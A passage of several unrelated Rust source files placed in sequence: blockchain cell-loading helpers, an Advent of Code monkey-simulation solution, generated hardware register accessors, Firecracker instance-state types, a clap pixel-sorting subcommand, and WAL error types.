load_cell_occupied_capacity(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_cell_by_field(&mut buf, 0, index, source, CellField::OccupiedCapacity)?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load cell data hash /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let data_hash = load_cell_data_hash(index, source).unwrap(); /// ``` pub fn load_cell_data_hash(index: usize, source: Source) -> Result<[u8; 32], SysError> { let mut buf = [0u8; 32]; let len = syscalls::load_cell_by_field(&mut buf, 0, index, source, CellField::DataHash)?; debug_assert_eq!(len, buf.len()); Ok(buf) } /// Load cell lock hash /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let lock_hash = load_cell_lock_hash(index, source).unwrap(); /// ``` pub fn load_cell_lock_hash(index: usize, source: Source) -> Result<[u8; 32], SysError> { let mut buf = [0u8; 32]; let len = syscalls::load_cell_by_field(&mut buf, 0, index, source, CellField::LockHash)?; debug_assert_eq!(len, buf.len()); Ok(buf) } /// Load cell type hash /// /// return None if the cell has no type /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let type_hash = load_cell_type_hash(index, source).unwrap().unwrap(); /// ``` pub fn load_cell_type_hash(index: usize, source: Source) -> Result<Option<[u8; 32]>, SysError> { let mut buf = [0u8; 32]; match syscalls::load_cell_by_field(&mut buf, 0, index, source, CellField::TypeHash) { Ok(len) => { debug_assert_eq!(len, buf.len()); Ok(Some(buf)) } Err(SysError::ItemMissing) => Ok(None), Err(err) => Err(err), } } /// Load cell lock /// /// Return the lock script or a syscall error /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let lock = load_cell_lock(index, source).unwrap(); /// ``` pub fn load_cell_lock(index: usize, source: Source) -> Result<Script, SysError> { let data = load_data(|buf, offset| { syscalls::load_cell_by_field(buf, offset, index, source, CellField::Lock) })?; match ScriptReader::verify(&data, false) { Ok(()) => Ok(Script::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// Load cell type /// /// Return the type script or a syscall error, return None if the cell has no type /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let type_script = load_cell_type(index, source).unwrap().unwrap(); /// ``` pub fn load_cell_type(index: usize, source: Source) -> Result<Option<Script>, SysError> { let data = match load_data(|buf, offset| { syscalls::load_cell_by_field(buf, offset, index, source, CellField::Type) }) { Ok(data) => data, Err(SysError::ItemMissing) => return Ok(None), Err(err) => return Err(err), }; match ScriptReader::verify(&data, false) { Ok(()) => Ok(Some(Script::new_unchecked(data.into()))), Err(_err) => Err(SysError::Encoding), } } // Load header epoch number /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let epoch_number = load_header_epoch_number(index, source).unwrap(); /// ``` pub fn load_header_epoch_number(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_header_by_field(&mut buf, 0, index, source, HeaderField::EpochNumber)?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load header epoch start block number /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let epoch_start_block_number = load_header_epoch_start_block_number(index, source).unwrap(); /// ``` pub fn load_header_epoch_start_block_number(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_header_by_field( &mut buf, 0, index, source, HeaderField::EpochStartBlockNumber, )?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load header epoch length /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let epoch_length = load_header_epoch_length(index, source).unwrap(); /// ``` pub fn load_header_epoch_length(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_header_by_field(&mut buf, 0, index, source, HeaderField::EpochLength)?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load input since /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let since = load_input_since(index, source).unwrap(); /// ``` pub fn load_input_since(index: usize, source: Source) -> Result<u64, SysError> { let mut buf = [0u8; 8]; let len = syscalls::load_input_by_field(&mut buf, 0, index, source, InputField::Since)?; debug_assert_eq!(len, buf.len()); Ok(u64::from_le_bytes(buf)) } /// Load input out point /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let out_point = load_input_out_point(index, source).unwrap(); /// ``` pub fn load_input_out_point(index: usize, source: Source) -> Result<OutPoint, SysError> { let mut buf = [0u8; 36]; let len = syscalls::load_input_by_field(&mut buf, 0, index, source, InputField::OutPoint)?; debug_assert_eq!(len, buf.len()); match OutPointReader::verify(&buf, false) { Ok(()) => Ok(OutPoint::new_unchecked(buf.to_vec().into())), Err(_err) => Err(SysError::Encoding), } } /// Load cell data /// /// # Arguments /// /// * `index` - index /// * `source` - source /// /// # Example /// /// ``` /// let data = load_cell_data(index, source).unwrap(); /// ``` pub fn load_cell_data(index: usize, source: Source) -> Result<Vec<u8>, SysError> { load_data(|buf, offset| syscalls::load_cell_data(buf, offset, index, source)) } /// Load script /// /// # Example /// /// ``` /// let script = load_script().unwrap(); /// ``` pub fn load_script() -> Result<Script, SysError> { let data = load_data(|buf, offset| syscalls::load_script(buf, offset))?; match ScriptReader::verify(&data, false) { Ok(()) => Ok(Script::new_unchecked(data.into())), Err(_err) => Err(SysError::Encoding), } } /// QueryIter /// /// A advanced iterator to manipulate cells/inputs/headers/witnesses /// /// # Example /// /// ``` /// use high_level::load_cell_capacity; /// // calculate all inputs capacity /// let inputs_capacity = QueryIter::new(load_cell_capacity, Source::Input) /// .map(|capacity| capacity.unwrap_or(0)) /// .sum::<u64>(); /// /// // calculate all outputs capacity /// let outputs_capacity = QueryIter::new(load_cell_capacity, Source::Output) /// .map(|capacity| capacity.unwrap_or(0)) /// .sum::<u64>(); /// /// assert_eq!(inputs_capacity, outputs_capacity); /// ``` pub struct QueryIter<F> { query_fn: F, index: usize, source: Source, } impl<F> QueryIter<F> { /// new /// /// # Arguments /// /// * `query_fn` - A high level query function, which accept `(index, source)` as args and /// returns Result<T, SysError>. Examples: `load_cell`, `load_cell_data`,`load_witness_args`, `load_input`, `load_header`, ... /// * `source` - source /// /// # Example /// /// ``` /// use high_level::load_cell; /// // iterate all inputs cells /// let iter = QueryIter::new(load_cell, Source::Input) /// ``` pub fn new(query_fn: F, source: Source) -> Self { QueryIter { query_fn, index: 0, source, } } } impl<T, F: Fn(usize, Source) -> Result<T, SysError>> Iterator for QueryIter<F> { type Item = T; fn next(&mut self) -> Option<Self::Item> { match (self.query_fn)(self.index, self.source) { Ok(item) => { self.index += 1; Some(item) } Err(SysError::IndexOutOfBound) => None, Err(err) => { debug!("QueryIter error {:?}", err); panic!("QueryIter query_fn return an error") } } } } /// Find cell by data_hash /// /// Iterate and find the cell which data hash equals `data_hash`, /// return the index of the first cell we found, otherwise return None. /// pub fn find_cell_by_data_hash(data_hash: &[u8], source: Source) -> Result<Option<usize>, SysError> { let mut buf = [0u8; 32]; for i in 0.. { let len = match syscalls::load_cell_by_field(&mut buf, 0, i, source, CellField::DataHash) { Ok(len) => len, Err(SysError::IndexOutOfBound) => break, Err(err) => return Err(err), }; debug_assert_eq!(len, buf.len()); if data_hash == &buf[..] { return Ok(Some(i)); } } Ok(None) }
use crate::{core::{Part, Solution}, utils::string::StrUtils}; pub fn solve(part: Part, input: String) -> String { match part { Part::P1 => Day11::solve_part_one(input), Part::P2 => Day11::solve_part_two(input), } } #[derive(Debug)] enum Operation { Add(u64), AddSelf, Multiply(u64), MultiplySelf, } #[derive(Debug)] struct Monkey { inspections: u64, items: Vec<u64>, op: Operation, divisible_by: u64, t: usize, f: usize, } impl Monkey { fn parse_operation(input: &str) -> Operation { let (_, pieces) = input.split_once("old").unwrap(); match pieces.trim().split_once(' ').unwrap() { ("+", "old") => Operation::AddSelf, ("+", val) => Operation::Add(val.parse::<u64>().unwrap()), ("*", "old") => Operation::MultiplySelf, ("*", val) => Operation::Multiply(val.parse::<u64>().unwrap()), _ => panic!() } } // fn parse_decision(input: Vec<&str>) -> impl Fn(u64) -> u64 { // let values: Vec<u64> = input.into_iter().map(|v| v.split_whitespace().last().unwrap().parse::<u64>().unwrap()).collect(); // move |item| { // if item % values[0] == 0 { // values[1] // } else { // values[2] // } // } // } } struct Day11; impl Solution for Day11 { fn solve_part_one(input: String) -> String { let mut monkeys: Vec<Monkey> = input.paragraphs().map(|paragraph| { let mut monkey = paragraph.lines().skip(1).map(|line| { let (_, val) = line.split_once(':').unwrap(); val }); let items = monkey.next().unwrap().split(',').map(|val| { val.trim().parse::<u64>().unwrap() }).collect(); let op = Monkey::parse_operation(monkey.next().unwrap()); let divisible_by = monkey.next().unwrap().split(' ').last().unwrap().parse::<u64>().unwrap(); let mut decision_values = monkey.into_iter().map(|v| { v.split_whitespace().last().unwrap().parse::<usize>().unwrap() }); let t = decision_values.next().unwrap(); let f = decision_values.next().unwrap(); Monkey { inspections: 0, items, op, divisible_by, t, f, } }).collect(); for _ in 0..20 { for i in 0..monkeys.len() { let monkey = &mut monkeys[i]; let mut items: Vec<(usize, u64)> = vec![]; while let Some(item) = monkey.items.pop() { monkey.inspections += 1; let inspected_item = match monkey.op { Operation::Add(x) => item + x, Operation::AddSelf => item + item, Operation::Multiply(x) => item * x, Operation::MultiplySelf => item * item, }; let bored_item = inspected_item / 3; if bored_item % monkey.divisible_by == 0 { items.push((monkey.t, bored_item)); } else { items.push((monkey.f, bored_item)); } } for (receiver, item) in items { monkeys[receiver].items.push(item); } } } let mut inspections = monkeys.into_iter().map(|monkey| monkey.inspections).collect::<Vec<u64>>(); inspections.sort(); inspections.iter().rev().take(2).product::<u64>().to_string() } fn solve_part_two(input: String) -> String { let mut monkeys: Vec<Monkey> = input.paragraphs().map(|paragraph| { let mut monkey = paragraph.lines().skip(1).map(|line| { let (_, val) = line.split_once(':').unwrap(); val }); let items = monkey.next().unwrap().split(',').map(|val| { val.trim().parse::<u64>().unwrap() }).collect(); let op = Monkey::parse_operation(monkey.next().unwrap()); let divisible_by = monkey.next().unwrap().split(' ').last().unwrap().parse::<u64>().unwrap(); let mut decision_values = monkey.into_iter().map(|v| { v.split_whitespace().last().unwrap().parse::<usize>().unwrap() }); let t = decision_values.next().unwrap(); let f = decision_values.next().unwrap(); Monkey { inspections: 0, items, op, divisible_by, t, f, } }).collect(); let common = monkeys.iter().map(|monkey| monkey.divisible_by).product::<u64>(); for _ in 0..10_000 { for i in 0..monkeys.len() { let monkey = &mut monkeys[i]; let mut items: Vec<(usize, u64)> = vec![]; while let Some(item) = monkey.items.pop() { monkey.inspections += 1; let inspected_item = match monkey.op { Operation::Add(x) => item + x, Operation::AddSelf => item + item, Operation::Multiply(x) => item * x, Operation::MultiplySelf => item * item, }; let bored_item = inspected_item % common; if bored_item % monkey.divisible_by == 0 { items.push((monkey.t, bored_item)); } else { items.push((monkey.f, bored_item)); } } for (receiver, item) in items { monkeys[receiver].items.push(item); } } } let mut inspections = monkeys.into_iter().map(|monkey| monkey.inspections).collect::<Vec<u64>>(); inspections.sort(); inspections.iter().rev().take(2).product::<u64>().to_string() } }
#[doc = r"Value read from the register"] pub struct R { bits: u16, } #[doc = r"Value to write to the register"] pub struct W { bits: u16, } impl super::DMACTL6 { #[doc = r"Modifies the contents of the register"] #[inline(always)] pub fn modify<F>(&self, f: F) where for<'w> F: FnOnce(&R, &'w mut W) -> &'w mut W, { let bits = self.register.get(); self.register.set(f(&R { bits }, &mut W { bits }).bits); } #[doc = r"Reads the contents of the register"] #[inline(always)] pub fn read(&self) -> R { R { bits: self.register.get(), } } #[doc = r"Writes to the register"] #[inline(always)] pub fn write<F>(&self, f: F) where F: FnOnce(&mut W) -> &mut W, { self.register.set( f(&mut W { bits: Self::reset_value(), }) .bits, ); } #[doc = r"Reset value of the register"] #[inline(always)] pub const fn reset_value() -> u16 { 0 } #[doc = r"Writes the reset value to the register"] #[inline(always)] pub fn reset(&self) { self.register.set(Self::reset_value()) } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_ENABLER { bits: bool, } impl USB_DMACTL6_ENABLER { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_ENABLEW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_ENABLEW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 0); self.w.bits |= ((value as u16) & 1) << 0; self.w } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_DIRR { bits: bool, } impl USB_DMACTL6_DIRR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_DIRW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_DIRW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 1); self.w.bits |= ((value as u16) & 1) << 1; self.w } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_MODER { bits: bool, } impl USB_DMACTL6_MODER { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_MODEW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_MODEW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 2); self.w.bits |= ((value as u16) & 1) << 2; self.w } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_IER { bits: bool, } impl USB_DMACTL6_IER { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_IEW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_IEW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 3); self.w.bits |= ((value as u16) & 1) << 3; self.w } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_EPR { bits: u8, } impl USB_DMACTL6_EPR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bits(&self) -> u8 { self.bits } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_EPW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_EPW<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits &= !(15 << 4); self.w.bits |= ((value as u16) & 15) << 4; self.w } } #[doc = r"Value of the field"] pub struct USB_DMACTL6_ERRR { bits: bool, } impl USB_DMACTL6_ERRR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bit(&self) -> bool { self.bits } #[doc = r"Returns `true` if the bit is clear (0)"] #[inline(always)] pub fn bit_is_clear(&self) -> bool { !self.bit() } #[doc = r"Returns `true` if the bit is set (1)"] #[inline(always)] pub fn bit_is_set(&self) -> bool { self.bit() } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_ERRW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_ERRW<'a> { #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits &= !(1 << 8); self.w.bits |= ((value as u16) & 1) << 8; self.w } } #[doc = "Possible values of the field `USB_DMACTL6_BRSTM`"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum USB_DMACTL6_BRSTMR { #[doc = "Bursts of unspecified length"] USB_DMACTL6_BRSTM_ANY, #[doc = "INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC4, #[doc = "INCR8, INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC8, #[doc = "INCR16, INCR8, INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC16, } impl USB_DMACTL6_BRSTMR { #[doc = r"Value of the field as raw bits"] #[inline(always)] pub fn bits(&self) -> u8 { match *self { USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_ANY => 0, USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC4 => 1, USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC8 => 2, USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC16 => 3, } } #[allow(missing_docs)] #[doc(hidden)] #[inline(always)] pub fn _from(value: u8) -> USB_DMACTL6_BRSTMR { match value { 0 => USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_ANY, 1 => USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC4, 2 => USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC8, 3 => USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC16, _ => unreachable!(), } } #[doc = "Checks if the value of the field is `USB_DMACTL6_BRSTM_ANY`"] #[inline(always)] pub fn is_usb_dmactl6_brstm_any(&self) -> bool { *self == USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_ANY } #[doc = "Checks if the value of the field is `USB_DMACTL6_BRSTM_INC4`"] #[inline(always)] pub fn is_usb_dmactl6_brstm_inc4(&self) -> bool { *self == USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC4 } #[doc = "Checks if the value of the field is `USB_DMACTL6_BRSTM_INC8`"] #[inline(always)] pub fn is_usb_dmactl6_brstm_inc8(&self) -> bool { *self == USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC8 } #[doc = "Checks if the value of the field is `USB_DMACTL6_BRSTM_INC16`"] #[inline(always)] pub fn is_usb_dmactl6_brstm_inc16(&self) -> bool { *self == USB_DMACTL6_BRSTMR::USB_DMACTL6_BRSTM_INC16 } } #[doc = "Values that can be written to the field `USB_DMACTL6_BRSTM`"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum USB_DMACTL6_BRSTMW { #[doc = "Bursts of unspecified length"] USB_DMACTL6_BRSTM_ANY, #[doc = "INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC4, #[doc = "INCR8, INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC8, #[doc = "INCR16, INCR8, INCR4 or unspecified length"] USB_DMACTL6_BRSTM_INC16, } impl USB_DMACTL6_BRSTMW { #[allow(missing_docs)] #[doc(hidden)] #[inline(always)] pub fn _bits(&self) -> u8 { match *self { USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_ANY => 0, USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC4 => 1, USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC8 => 2, USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC16 => 3, } } } #[doc = r"Proxy"] pub struct _USB_DMACTL6_BRSTMW<'a> { w: &'a mut W, } impl<'a> _USB_DMACTL6_BRSTMW<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: USB_DMACTL6_BRSTMW) -> &'a mut W { { self.bits(variant._bits()) } } #[doc = "Bursts of unspecified length"] #[inline(always)] pub fn usb_dmactl6_brstm_any(self) -> &'a mut W { self.variant(USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_ANY) } #[doc = "INCR4 or unspecified length"] #[inline(always)] pub fn usb_dmactl6_brstm_inc4(self) -> &'a mut W { self.variant(USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC4) } #[doc = "INCR8, INCR4 or unspecified length"] #[inline(always)] pub fn usb_dmactl6_brstm_inc8(self) -> &'a mut W { self.variant(USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC8) } #[doc = "INCR16, INCR8, INCR4 or unspecified length"] #[inline(always)] pub fn usb_dmactl6_brstm_inc16(self) -> &'a mut W { self.variant(USB_DMACTL6_BRSTMW::USB_DMACTL6_BRSTM_INC16) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits &= !(3 << 9); self.w.bits |= ((value as u16) & 3) << 9; self.w } } impl R { #[doc = r"Value of the register as raw bits"] #[inline(always)] pub fn bits(&self) -> u16 { self.bits } #[doc = "Bit 0 - DMA Transfer Enable"] #[inline(always)] pub fn usb_dmactl6_enable(&self) -> USB_DMACTL6_ENABLER { let bits = ((self.bits >> 0) & 1) != 0; USB_DMACTL6_ENABLER { bits } } #[doc = "Bit 1 - DMA Direction"] #[inline(always)] pub fn usb_dmactl6_dir(&self) -> USB_DMACTL6_DIRR { let bits = ((self.bits >> 1) & 1) != 0; USB_DMACTL6_DIRR { bits } } #[doc = "Bit 2 - DMA Transfer Mode"] #[inline(always)] pub fn usb_dmactl6_mode(&self) -> USB_DMACTL6_MODER { let bits = ((self.bits >> 2) & 1) != 0; USB_DMACTL6_MODER { bits } } #[doc = "Bit 3 - DMA Interrupt Enable"] #[inline(always)] pub fn usb_dmactl6_ie(&self) -> USB_DMACTL6_IER { let bits = ((self.bits >> 3) & 1) != 0; USB_DMACTL6_IER { bits } } #[doc = "Bits 4:7 - Endpoint number"] #[inline(always)] pub fn usb_dmactl6_ep(&self) -> USB_DMACTL6_EPR { let bits = ((self.bits >> 4) & 15) as u8; USB_DMACTL6_EPR { bits } } #[doc = "Bit 8 - Bus Error Bit"] #[inline(always)] pub fn usb_dmactl6_err(&self) -> USB_DMACTL6_ERRR { let bits = ((self.bits >> 8) & 1) != 0; USB_DMACTL6_ERRR { bits } } #[doc = "Bits 9:10 - Burst Mode"] #[inline(always)] pub fn usb_dmactl6_brstm(&self) -> USB_DMACTL6_BRSTMR { USB_DMACTL6_BRSTMR::_from(((self.bits >> 9) & 3) as u8) } } impl W { #[doc = r"Writes raw bits to the register"] #[inline(always)] pub unsafe fn bits(&mut self, bits: u16) -> &mut Self { self.bits = bits; self } #[doc = "Bit 0 - DMA Transfer Enable"] #[inline(always)] pub fn usb_dmactl6_enable(&mut self) -> _USB_DMACTL6_ENABLEW { _USB_DMACTL6_ENABLEW { w: self } } #[doc = "Bit 1 - DMA Direction"] #[inline(always)] pub fn usb_dmactl6_dir(&mut self) -> _USB_DMACTL6_DIRW { _USB_DMACTL6_DIRW { w: self } } #[doc = "Bit 2 - DMA Transfer Mode"] #[inline(always)] pub fn usb_dmactl6_mode(&mut self) -> _USB_DMACTL6_MODEW { _USB_DMACTL6_MODEW { w: self } } #[doc = "Bit 3 - DMA Interrupt Enable"] #[inline(always)] pub fn usb_dmactl6_ie(&mut self) -> _USB_DMACTL6_IEW { _USB_DMACTL6_IEW { w: self } } #[doc = "Bits 4:7 - Endpoint number"] #[inline(always)] pub fn usb_dmactl6_ep(&mut self) -> _USB_DMACTL6_EPW { _USB_DMACTL6_EPW { w: self } } #[doc = "Bit 8 - Bus Error Bit"] #[inline(always)] pub fn usb_dmactl6_err(&mut self) -> _USB_DMACTL6_ERRW { _USB_DMACTL6_ERRW { w: self } } #[doc = "Bits 9:10 - Burst Mode"] #[inline(always)] pub fn usb_dmactl6_brstm(&mut self) -> _USB_DMACTL6_BRSTMW { _USB_DMACTL6_BRSTMW { w: self } } }
// Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. // SPDX-License-Identifier: Apache-2.0 /// The microvm state. When Firecracker starts, the instance state is Uninitialized. /// Once start_microvm method is called, the state goes from Uninitialized to Starting. /// The state is changed to Running before ending the start_microvm method. #[derive(Clone, Debug, PartialEq, Serialize)] pub enum InstanceState { /// Microvm is not initialized. Uninitialized, /// Microvm is starting. Starting, /// Microvm is running. Running, } /// The strongly typed that contains general information about the microVM. #[derive(Debug, Serialize)] pub struct InstanceInfo { /// The ID of the microVM. pub id: String, /// The state of the microVM. pub state: InstanceState, /// The version of the VMM that runs the microVM. pub vmm_version: String, }
#[doc = "Reader of register TAPR"] pub type R = crate::R<u32, super::TAPR>; #[doc = "Writer for register TAPR"] pub type W = crate::W<u32, super::TAPR>; #[doc = "Register TAPR `reset()`'s with value 0"] impl crate::ResetValue for super::TAPR { type Type = u32; #[inline(always)] fn reset_value() -> Self::Type { 0 } } #[doc = "Reader of field `TAPSR`"] pub type TAPSR_R = crate::R<u8, u8>; #[doc = "Write proxy for field `TAPSR`"] pub struct TAPSR_W<'a> { w: &'a mut W, } impl<'a> TAPSR_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !0xff) | ((value as u32) & 0xff); self.w } } #[doc = "Reader of field `TAPSRH`"] pub type TAPSRH_R = crate::R<u8, u8>; #[doc = "Write proxy for field `TAPSRH`"] pub struct TAPSRH_W<'a> { w: &'a mut W, } impl<'a> TAPSRH_W<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0xff << 8)) | (((value as u32) & 0xff) << 8); self.w } } impl R { #[doc = "Bits 0:7 - GPTM Timer A Prescale"] #[inline(always)] pub fn tapsr(&self) -> TAPSR_R { TAPSR_R::new((self.bits & 0xff) as u8) } #[doc = "Bits 8:15 - GPTM Timer A Prescale High Byte"] #[inline(always)] pub fn tapsrh(&self) -> TAPSRH_R { TAPSRH_R::new(((self.bits >> 8) & 0xff) as u8) } } impl W { #[doc = "Bits 0:7 - GPTM Timer A Prescale"] #[inline(always)] pub fn tapsr(&mut self) -> TAPSR_W { TAPSR_W { w: self } } #[doc = "Bits 8:15 - GPTM Timer A Prescale High Byte"] #[inline(always)] pub fn tapsrh(&mut self) -> TAPSRH_W { TAPSRH_W { w: self } } }
use clap::{App, Arg, SubCommand}; pub fn threshold() -> App<'static, 'static> { return SubCommand::with_name("threshold") .about("Intervals defined by lightness thresholds; only pixels with a lightness outside of the upper and lower thresholds interval are sorted.") .arg(Arg::with_name("lower") .short("l") .long("lower") .help("How dark must a pixel be to be considered as a 'border' for sorting. Takes values from 0-1. 0.25 by default.") .takes_value(true) .default_value("32")) .arg(Arg::with_name("upper") .short("u") .long("upper") .help("How bright must a pixel be to be considered as a 'border' for sorting. Takes values from 0-1. 0.8 by default.") .takes_value(true) .default_value("224")) }
use crate::backend::{Backend, instance}; #[derive(Debug)] #[cfg(not(target_arch = "wasm32"))] pub struct SurfaceData { pub framebuffer: u32 } #[cfg(target_arch="wasm32")] use webgl_stdweb::WebGLFramebuffer; #[derive(Debug)] #[cfg(target_arch="wasm32")] pub struct SurfaceData { pub framebuffer: WebGLFramebuffer } impl Drop for SurfaceData { fn drop(&mut self) { unsafe { instance().destroy_surface(self) }; } }
//! This module implements CLI commands for debugging the ingester WAL. use futures::Future; use influxdb_iox_client::connection::Connection; use thiserror::Error; mod inspect; mod regenerate_lp; /// A command level error type to decorate WAL errors with some extra /// "human" context for the user #[derive(Debug, Error)] pub enum Error { #[error("could not read WAL file: {0}")] UnableToReadWalFile(#[from] wal::Error), #[error("failed to decode write entries from the WAL file: {0}")] FailedToDecodeWriteOpEntry(#[from] wal::DecodeError), #[error( "failures encountered while regenerating line protocol writes from WAL file: {sources:?}" )] UnableToFullyRegenerateLineProtocol { sources: Vec<RegenerateError> }, #[error("failed to initialise table name index fetcher: {0}")] UnableToInitTableNameFetcher(regenerate_lp::TableIndexLookupError), #[error("i/o failure: {0}")] IoFailure(#[from] std::io::Error), #[error("errors occurred during inspection of the WAL file: {sources:?}")] IncompleteInspection { sources: Vec<wal::Error> }, } /// A set of non-fatal errors which can occur during the regeneration of write /// operations from WAL entries #[derive(Debug, Error)] pub 